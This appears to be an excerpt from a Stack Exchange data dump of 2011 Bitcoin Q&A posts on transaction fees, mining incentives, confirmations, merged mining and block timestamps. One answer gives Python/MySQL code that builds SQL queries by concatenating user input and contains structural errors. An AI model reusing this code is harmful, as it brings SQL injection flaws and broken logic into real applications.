  <row Id="889" PostTypeId="2" ParentId="863" CreationDate="2011-09-11T14:46:19.697" Score="1" Body="&lt;p&gt;To accomplish that you would have to find a person who would be willing to sell you a big amount of Bitcoins outside of the market. This would be hard, because a lot of people are afraid of scams, but it is certainly feasible. Still, the best bet to get a lot of Bitcoins without influencing their price (or at least not bringing the exchange rate down) would be to invest in large scale mining rigs. This approach is slower, but attracts less attention. Moreover, since the difficulty would increase due to your mining, it might positively influence the exchange rate (harder to earn coins =&gt; they are more valuable).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-11T14:46:19.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="890" PostTypeId="2" ParentId="876" CreationDate="2011-09-11T15:20:20.560" Score="9" Body="&lt;p&gt;In theory, as deflation continues and mining blocks becomes more efficient, the transaction cost will approach .00000001BTC/ 1 Satoshi and will stop multiple times on its way down at the point slightly above where profitability reaches cost.  It is also possible that the transaction fee will approach zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this happens is competition will drive the price down to the point that only the most efficient miners will be in business.  The price reduction is further amplified by the deflation in Bitcoin. We will find the exact stopping point from the most efficient miners who are willing to take the lowest profit margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also be a floating point because as transaction volume increases so will profitability allowing miners to further reduce their fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further answer some of your questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Are there any estimates or more concrete calculations about that?&#xA;A: None that I can find.  My prediction is that transaction fees will have a multi-tier approach where the most efficient miners will offer &quot;dual&quot; processing fees one of which would be 0BTC.  The miners would split their processing power(a percentage based on profitability and a simple maximization problem) and include only transactions that met the highest payment tier would be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you include a 0 Satoshi fee you will only get 5% total processing power.  If you include a 1 Satoshi fee you will get 10% processing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Is it even possible to foresee, as the &quot;degree of network security&quot; is a rather nebulous incentive for most (casual) users? &#xA;A: The degree of network security will be improved if users provide their own processing power but, this will not be necessary as mining will be profitable to the most efficient miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Will they thus be enforced by the software? &#xA;A: Fees will be enforced by miners not including transaction with too low of a fee into the block chain.  This will cause a significant delay in the speed of your transaction. In the worst case scenario, where EVERYONE on the network requires a fee, you will have to mine your own block to get your transaction processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)Will these fees better be absolute or relative to the amount of a single transfer?&#xA;A: A miner can choose to accept a transaction and include it into a block based upon any criteria that they see fit.  It will be interesting to see how miners choose to tier their pricing.&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditDate="2011-09-11T21:50:49.187" LastActivityDate="2011-09-11T21:50:49.187" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="891" PostTypeId="2" ParentId="888" CreationDate="2011-09-11T15:56:59.363" Score="8" Body="&lt;p&gt;According to the EIA:&#xA;&lt;a href=&quot;http://www.eia.gov/emeu/international/elecprih.html&quot; rel=&quot;nofollow&quot;&gt;http://www.eia.gov/emeu/international/elecprih.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cheapest electricity prices from their available data would be Kazakhstan at .052USD/kWh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although electricity cost itself would not be the only determining factor of profitability, it would be a major part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently FPGA's seem to be the answer for best performance/kWh.  Some other factors to think about would be(not 100% inclusive of all the factors):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Difficulty in sourcing equipment to the country of choice.&lt;/li&gt;&#xA;&lt;li&gt;Governmental taxes&lt;/li&gt;&#xA;&lt;li&gt;Employee Cost&lt;/li&gt;&#xA;&lt;li&gt;Weather Conditions(HVAC)&lt;/li&gt;&#xA;&lt;li&gt;Government stability (Politics in General)&lt;/li&gt;&#xA;&lt;li&gt;Ability of the power distribution network to handle your load.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="94" LastActivityDate="2011-09-11T15:56:59.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="892" PostTypeId="2" ParentId="875" CreationDate="2011-09-11T17:27:29.767" Score="1" Body="&lt;p&gt;As mentioned above, btcbalance.net does what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have not tested it, but according to this forum post, a Chrome extension called Collate allows you to view your balance without making your bitcoins available for spending:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=17158.msg334959#msg334959&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=17158.msg334959#msg334959&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In 0.2 you can use the Block Explorer to examine your wallet without&#xA;  actually having to run the BitCoin client.  This means you can keep&#xA;  wallet.dat on an encrypted partition via TrueCrypt or w/e and you can&#xA;  still monitor your account balance (although to send coins you will&#xA;  still need to start the BitCoin client for obvious reasons).  In 0.2&#xA;  the Block Explorer method of viewing a wallet supersedes the old way&#xA;  of connecting to the BitCoin client since the latter requires that&#xA;  your private key be stored in memory all the time (which is a bad&#xA;  idea).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Collate can be downloaded here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/anlcpclkmbeeoglfgbfboogijdkbohkn&quot; rel=&quot;nofollow&quot;&gt;https://chrome.google.com/webstore/detail/anlcpclkmbeeoglfgbfboogijdkbohkn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2011-09-11T17:33:48.040" LastActivityDate="2011-09-11T17:33:48.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostTypeId="2" ParentId="888" CreationDate="2011-09-11T18:58:59.150" Score="7" Body="&lt;p&gt;I would say any place electric heating is in use. Computers are just as efficient at heating as electric heaters are, so the Bitcoins are effectively mined for free, as far as the cost of electricity and cooling goes, the two biggest costs. (You still have the cost, and depreciation, of hardware, of course.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-11T18:58:59.150" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostTypeId="2" ParentId="780" CreationDate="2011-09-11T19:59:07.250" Score="0" Body="&lt;p&gt;You will need bitcoin-python:&#xA;&lt;a href=&quot;https://github.com/toomanysecrets0/bitcoin-python&quot; rel=&quot;nofollow&quot;&gt;https://github.com/toomanysecrets0/bitcoin-python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need MySQLdb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's something that should work on a LAMP(ython) server  I would sanitize the inputs before putting this in production use though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python    &#xA;&#xA;import MySQLdb&#xA;import bitcoin&#xA;import cgi&#xA;&#xA;DbHost   = &quot;localhost&quot;&#xA;DbDatabase = &quot;database name&quot;&#xA;DbUser   = &quot;database user&quot;&#xA;DbPassword = &quot;database password&quot;&#xA;&#xA;def getAddress(idnumber):&#xA;&#xA;    db = MySQLdb.connect(host=DbHost, user=DbUser, passwd=DbPassword ,db=DbDatabase)&#xA;&#xA;    c=db.cursor()&#xA;&#xA;    c.execute(&quot;SELECT * FROM `address` WHERE idnumber=&quot; + &quot;'&quot; + str(idnumber) + &quot;'&quot;)&#xA;&#xA;    address = c.fetchone()&#xA;&#xA;    if  address != None:&#xA;        returnaddress = address[1]&#xA;&#xA;    else:&#xA;        c.execute(&quot;SELECT username,idnumber FROM `address` where idnumber=&quot; + &quot;'&quot; + str(idnumber) + &quot;'&quot;)&#xA;        user = c.fetchone()    &#xA;        if  user != None:&#xA;            userid = user[0]&#xA;            #Generate a new bitcoin address&#xA;            newaddress = generateAddress(userid)&#xA;            returnaddress = newaddress&#xA;&#xA;&#xA;            c.execute(&quot;INSERT INTO address(idnumber,receiving_address,username) VALUES(&quot; + str(idnumber) + &quot;,&quot; + &quot;'&quot; + str(newaddress) + &quot;'&quot; + &quot;,&quot; + str(userid) + &quot;)&quot;)&#xA;    else:&#xA;        return &quot;Invalid userid&quot;&#xA;&#xA;return returnaddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="94" LastEditorUserId="94" LastEditDate="2011-09-11T20:06:27.097" LastActivityDate="2011-09-11T20:06:27.097" CommentCount="0" CommunityOwnedDate="2011-09-11T20:06:41.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="895" PostTypeId="2" ParentId="876" CreationDate="2011-09-11T20:05:56.113" Score="75" Body="&lt;p&gt;&lt;em&gt;I read that the market will find the equilibrium how much these transaction fees will be.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It will not.&lt;/strong&gt;  This is perhaps the biggest flaw in Bitcoin at the moment: once mining rewards end there is no direct linkage between the amount of hashpower needed to secure the network and the incentive to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;True, there is a limit on the blocksize, so if the transaction volume in a block window (approximately 10 minutes) exceeds the block size you can expect a miniature &quot;auction&quot; where transactions fight for space in the block by bidding up the minimum transaction fee needed to get in.  However this isn't really a closed-loop adjustment: the maximum blocksize is an arbitrarily chosen number, and &lt;strong&gt;there's no reason to believe the maximum blocksize is small enough to ensure that transaction fees are high enough to incent enough miners to mine to keep the system secure&lt;/strong&gt;.  Unlike the difficulty and the USD/BTC exchange rate it does not respond to market activity.  It also has the negative side effect of capping the worldwide Bitcoin transaction throughput since other parts of the protocol rely on the assumption that blocks are created -- in the long run -- no more than once every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare this to the current situation with mining rewards: the more valuable a bitcoin is the more incentive there is for somebody to try to overwhelm the &quot;good guys&quot; by gaining 50%+1 hashpower.  However, the more valuable a bitcoin is the more miners will mine!  It isn't perfect, but &lt;strong&gt;the important point is that the demand for security increases the incentive to mine&lt;/strong&gt;.  Note that although the difficulty will go up, that simply ensures that the reward granted every ten minutes is an approximately constant number of BTC -- the number of terahashes/sec fighting over that amount of BTC is free to respond to changes in their changing value (as measured in terms of all other goods in the world, including other currencies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As the mining reward is reduced this &quot;direct coupling&quot; between the network's need for security and the incentive to mine becomes progressively more diluted.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worry a lot about what will happen to Bitcoin once we decouple those two forces.  I think the developers ought to at least come up with a story on how this will be solved so people can start testing it.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2011-09-11T20:13:39.253" LastActivityDate="2011-09-11T20:13:39.253" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="896" PostTypeId="1" AcceptedAnswerId="897" CreationDate="2011-09-11T22:06:13.140" Score="12" ViewCount="1369" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot;&gt;protocol specification&lt;/a&gt; doesn't seem to address this.&lt;/p&gt;&#xA;" OwnerUserId="354" LastActivityDate="2011-09-11T22:27:13.390" Title="How do Bitcoin clients determine the number of confirmations a transaction has?" Tags="|transactions|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostTypeId="2" ParentId="896" CreationDate="2011-09-11T22:27:13.390" Score="12" Body="&lt;ol&gt;&#xA;&lt;li&gt;Transactions are first transmitted to all the nodes in the p2p network.  At this point they are &quot;unconfirmed&quot;.  &lt;/li&gt;&#xA;&lt;li&gt;At some point a miner includes the transaction in a block.  The transaction now has 1 confirmation.&lt;/li&gt;&#xA;&lt;li&gt;Miners continue to find blocks and the next block builds on the block that contains the transaction.  The transaction now has 2 confirmations (the original block + 1 more after it in the block chain).&lt;/li&gt;&#xA;&lt;li&gt;Miners continue to find blocks, the next block that extends the chain makes the 3rd confirmation and the one after that makes the 4th, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Clients determine the number of confirmations by counting the number of blocks in the block chain since the block that contains the transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Height of current longest chain&quot; - &quot;Height of chain for the block containing the transaction&quot; + 1&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2011-09-11T22:27:13.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="898" PostTypeId="2" ParentId="823" CreationDate="2011-09-11T23:48:04.857" Score="2" Body="&lt;p&gt;Witcoin. They have an interesting concept to keep spam down: You have to pay to post (using Bitcoins). Revenue gets shared between the site and the poster your replied to.&lt;/p&gt;&#xA;&lt;p&gt;However, it &lt;a href=&quot;http://bitcoin.stackexchange.com/questions/3512/what-is-the-state-of-witcoin&quot;&gt;appears Witcoin is defunct now&lt;/a&gt;, though.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="10658" LastEditDate="2023-11-17T15:53:49.897" LastActivityDate="2023-11-17T15:53:49.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="899" PostTypeId="1" AcceptedAnswerId="900" CreationDate="2011-09-12T01:27:51.620" Score="11" ViewCount="650" Body="&lt;p&gt;Suppose I publish the private key of an address that contains 1 bitcoin. If two people try to transfer this bitcoin to another address before a new block is found, who gets it? How is this decision made?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="516" LastEditDate="2013-03-06T23:43:23.120" LastActivityDate="2013-03-06T23:43:23.120" Title="In a double spend attempt, how is the valid transaction chosen?" Tags="|transactions|doublespend|transaction-selection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostTypeId="2" ParentId="899" CreationDate="2011-09-12T01:53:30.957" Score="7" Body="&lt;p&gt;When a node receives two conflicting transactions, it will only relay the first one that it received, dropping the other.  If one transaction fully propagates through the network before the other is sent, the first will prevent the second from ever reaching any miner nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both transactions are sent at roughly the same time, the network will be in disagreement about which one is valid.  This will be resolved once a miner node finds a block and includes whichever transaction it had first heard about.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-12T01:53:30.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="901" PostTypeId="2" ParentId="875" CreationDate="2011-09-12T03:11:04.323" Score="1" Body="&lt;p&gt;The BitcoinJS project implements a client that has no wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does, however, keep the keys necessary for spending on the mobile client in the html5 local datastorage.&#xA; - &lt;a href=&quot;http://bitcoinjs.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinjs.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WebCoin's implementation: &lt;a href=&quot;http://www.webcoin.ch&quot; rel=&quot;nofollow&quot;&gt;http://www.webcoin.ch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-12T03:11:04.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="902" PostTypeId="1" AcceptedAnswerId="923" CreationDate="2011-09-12T05:55:59.780" Score="5" ViewCount="723" Body="&lt;p&gt;I think &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot;&gt;Namecoin&lt;/a&gt; has a good value, but while I think Vladimir overestimates the inflation effect of &lt;a href=&quot;http://dot-bit.org/Merged_Mining&quot;&gt;merged mining&lt;/a&gt;, I still mostly agree with &lt;a href=&quot;https://bitcoin.org.uk/forums/topic/63-merged-mining-is-not-the-end-of-the-world/&quot;&gt;his post&lt;/a&gt;, which is negative towards uncontrolled merged mining. It requires &lt;a href=&quot;http://dot-bit.org/Merged_Mining#Parent_blockchain_.28AKA_bitcoind.29&quot;&gt;small patch&lt;/a&gt; for bitcoind to make it &quot;parent&quot; for Namecoin blockchain, is the patch exclusive for Namecoin? If yes, what makes it exclusive, and if not, is there a way to design a merge mining patch, so it would be exclusive for a particular blockchain? That way bitcoin community would have a choice, when downloading a new version of bitcoin, if it wants to adopt a new blockchain.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="5406" LastEditDate="2016-01-21T10:06:12.650" LastActivityDate="2016-01-21T10:06:12.650" Title="Will merge mining patch make Bitcoin network mining power available to anyone?" Tags="|economic-theory|merged-mining|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostTypeId="2" ParentId="902" CreationDate="2011-09-12T06:11:28.353" Score="2" Body="&lt;p&gt;AFAIK the upcoming patch is for merged mining between Namecoin and Bitcoin only. In the future it might be able to modify the patch to allow more generalized merged mining between any number of coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is not a bad thing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote from Gavin in the thread you linked to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't see how shared mining dilutes bitcoins.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That's like saying &quot;real-world miners find lots of other minerals when&#xA;  they search for gold; that dilutes the value of gold!&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Think of it as the bitcoin family of coins/blockchains. Eventually you might want to diverge your holding between the different coins, but the entire family just becomes stronger by universal merged mining.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-12T06:11:28.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="905" PostTypeId="2" ParentId="902" CreationDate="2011-09-12T08:15:39.607" Score="5" Body="&lt;p&gt;The patch has no effect on the parent blockchain, it just allows the patched bitcoind to be used for mining on both chains simultaneously.  Only the child blockchain needs to be modified in order to support merged mining.  There's no way for the Bitcoin network to prevent merged mining, even if doing so were desirable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged mining does have to potential to allow alternate chains access to greater hash power (and thus security against double-spend attacks) than they would have had otherwise.  However, this alone will not give them value as currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is able to sustain value because of its &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_effect&quot;&gt;network effect&lt;/a&gt;.  The more active users it has, the more useful it is to each user.  The alternate blockchains have userbases that are a a few orders of magnitude smaller than Bitcoin's.  Newcomers to the cryptocurrency world will tend to choose the more useful and popular chain, further increasing Bitcoin's lead.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-12T08:15:39.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="907" PostTypeId="1" CreationDate="2011-09-12T10:15:19.043" Score="15" ViewCount="1503" Body="&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/w/index.php?title=Bitcoin&amp;amp;oldid=449391631&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The number of Bitcoins created per block is never more than 50 BTC, and the awards are programmed to decrease over time towards zero, such that no more than 21 million will ever exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from which I naively conclude that as time passes less and less bitcoins will be mined and the total amount of bitcoins is limited, so after say ten (or whatever actual number - doesn't matter) years mining a bitcoin will be as unlikely as winning big in a lottery and maybe even news will report that &lt;em&gt;one more bitcoin has been mined&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those right conclusions? What exactly happens once mining speed gets close to zero?&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="5406" LastEditDate="2016-01-21T10:04:30.920" LastActivityDate="2016-01-21T10:04:30.920" Title="What happens once mining speed gets close to zero?" Tags="|money-supply|reward-schedule|mining-theory|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostTypeId="2" ParentId="907" CreationDate="2011-09-12T11:05:59.307" Score="13" Body="&lt;p&gt;I think you are confusing two things here: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block generation rate&lt;/li&gt;&#xA;&lt;li&gt;New bitcoins introduced per block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blocks will always be found at a rate of approximately one per 10 minute. The difficulty of finding a block adjusts itself according to how many people are trying. Simply said, if N people are mining (all with equal hashing power), they will each (on average) find one block per N*10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the newly introduced currency in each block is currently 50 BTC/blocks, but somewhere end 2012 this will decrease to 25 BTC. 4 years later, it will become 12.5, and so on. Around 130 years from now, the last block with non-zero new coins will be created. After that, mining will still continue, but blocks will only have transaction fees as rewards, and no new currency anymore.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2011-09-12T11:05:59.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="909" PostTypeId="2" ParentId="902" CreationDate="2011-09-12T11:38:18.923" Score="0" Body="&lt;p&gt;The patch allows many chains to be mined at once. It does not let them automatically get mined though.   A miner or pool has to still choose to run that chain and add it to its merged mining proxy.  So the chain still has to get support to get access to that power and get installed.  No one can make a chain and force it to be mined (unless they are a large pool operator).&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2011-09-12T11:38:18.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostTypeId="1" CreationDate="2011-09-12T14:10:40.020" Score="8" ViewCount="2734" Body="&lt;p&gt;Why is mining Bitcoins necessary? Is it essentially a distribution mechanism to ensure Bitcoins are not held by a few (wealthy) individuals from the get-go who might just hoard Bitcoins rather than be encouraged to spend them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't the (growing) expense of mining Bitcoins going to have this effect in any case - specialist Bitcoin mining companies (with racks of expensive hardware) could effectively make it impossible for anyone else to mine Bitcoins - meaning the currency cannot filter down evenly through the network but ends up congealing around power users...&lt;/p&gt;&#xA;" OwnerUserId="363" LastEditorUserId="5406" LastEditDate="2016-01-21T10:03:51.803" LastActivityDate="2016-01-21T10:03:51.803" Title="How does the mining process support the currency?" Tags="|money-supply|mining-theory|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="911" PostTypeId="2" ParentId="910" CreationDate="2011-09-12T14:41:19.733" Score="1" Body="&lt;p&gt;For the currency to work, the coins have to get out into the market somehow.  For Bitcoin to be decentralized, the distribution mechanism would have to be something besides some organization merely handing out or selling the initial coins.  Mining provides a solution to that, although one could argue whether there would be better ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining does more than just control the initial distribution though; see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;this question&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-12T14:41:19.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="912" PostTypeId="2" ParentId="910" CreationDate="2011-09-12T15:11:57.253" Score="10" Body="&lt;p&gt;Mining is not just a way to ensure the initial distribution of bitcoins. It happens that coins have been distributed through mining, because it was easy and useful to do it this way, so this might be a bit misleading, but mining will remain essential even after all the bitcoins (~21MBTC) have been distributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mining has not been designed to distribute coins. It's exactly the opposite: coins are distributed to attract miners. The network needs them.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is the core mechanism that makes Bitcoin possible. &#xA;The bitcoin block chain (i.e. transaction history) needs to be updated continuously. In effect, one block is added to the chain about every 10 minutes. Mining is the little miracle that allows trust in the network as a whole, without trusting any single participant¹. The idea is to add some artificial difficulty to block creation, so that only a few blocks are presented to the network for consideration (and for validity checking). This way, the network can choose which block will be accepted as the next reference, while nobody has full control on block creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard work of miners that build those blocks must be compensated (hardware equipment and electricity are not cheap). A reward has therefore been included in newly created blocks. For now, the reward is constituted mostly by newly minted coins. But given that the mining process is &lt;em&gt;essential&lt;/em&gt; to the bitcoin ecosystem, that reward must (and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/895/78&quot;&gt;“hopefully”&lt;/a&gt; will) be replaced by fees, paid by transactors, when coin creation is going stop completely, in about 130 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;—&lt;br&gt;&#xA;&lt;sup&gt;&#xA;1. Assuming no one has access to more than 50% of the total computation power of the network.&#xA;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-08T23:17:58.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="913" PostTypeId="2" ParentId="277" CreationDate="2011-09-12T16:01:35.110" Score="1" Body="&lt;p&gt;A few of us have been running some tests merge mining a number of chains at once.   While in theory the hit rate should remain the same, in practice so far we are seeing reduced results.   Hopefully we will find out why soon.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2011-09-12T16:01:35.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="914" PostTypeId="2" ParentId="907" CreationDate="2011-09-12T16:12:02.563" Score="1" Body="&lt;p&gt;Your question assumes that the mining speed will get close to zero.  Which I guess will be true in some time span.   I often see people saying that Bitcoin allows transfers without fees.  While this is true today,  it is not a guaranteed thing.   In order to get included in a block, the transactions bid to get included.  It just so happens that with the new bitcoin reward per block most miners will accept a zero fee transaction.   That is expected to change as the reward per block lowers, and if the network gets enough use and fees that is expected to be the incentive to keep miners mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to your question though, is as the mining rate lowers the security of the network drops, and the closer it gets to zero, the more likely someone can play havoc with it.  It is also likely that if it drops close to zero bitcoins no longer matter anyway.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2011-09-12T16:12:02.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="915" PostTypeId="1" AcceptedAnswerId="917" CreationDate="2011-09-12T17:20:45.950" Score="32" ViewCount="6462" Body="&lt;p&gt;The timestamps starting at block 145044 are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;145044: 2011-09-12 15:46:39     &#xA;145045: 2011-09-12 16:05:07 &#xA;145046: 2011-09-12 16:00:05 // ~5 minutes before prior block&#xA;145047: 2011-09-12 15:53:36 // ~7 &amp;amp; ~12 minutes before 2 prior blocks&#xA;145048: 2011-09-12 16:04:06 // after 2 prior blocks but still before 145045&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does this occur?&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="5406" LastEditDate="2020-11-05T14:36:36.437" LastActivityDate="2020-11-05T14:36:36.437" Title="Why don't the timestamps in the block chain always increase?" Tags="|blockchain|protocol|block-header|timestamp|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="916" PostTypeId="2" ParentId="915" CreationDate="2011-09-12T17:25:18.097" Score="7" Body="&lt;p&gt;I believe the timestamp is based off of the machine hosting the bitcoin client that submitted the block, and variance is allowed as not everyone has their computer time synched properly.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-12T17:25:18.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="917" PostTypeId="2" ParentId="915" CreationDate="2011-09-12T17:34:12.133" Score="26" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A timestamp is accepted as valid if it is greater than the median&#xA;  timestamp of previous 11 blocks, and less than the network-adjusted&#xA;  time + 2 hours. &quot;Network-adjusted time&quot; is the median of the&#xA;  timestamps returned by all nodes connected to you.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Whenever a node connects to another node, it gets a UTC timestamp from&#xA;  it, and stores its offset from node-local UTC. The network-adjusted&#xA;  time is then the node-local UTC plus the median offset from all&#xA;  connected nodes. Network time is never adjusted more than 70 minutes&#xA;  from local system time, however.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not obvious that there aren't any problems with this way of timestamping. See the blog post &lt;a href=&quot;http://culubas.blogspot.com/2011/05/timejacking-bitcoin_802.html&quot;&gt;Timejacking &amp;amp; Bitcoin&lt;/a&gt; and the discussion about it &lt;a href=&quot;https://bitcointalk.org/index.php?topic=10241.0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-12T19:59:17.540" LastActivityDate="2011-09-12T19:59:17.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
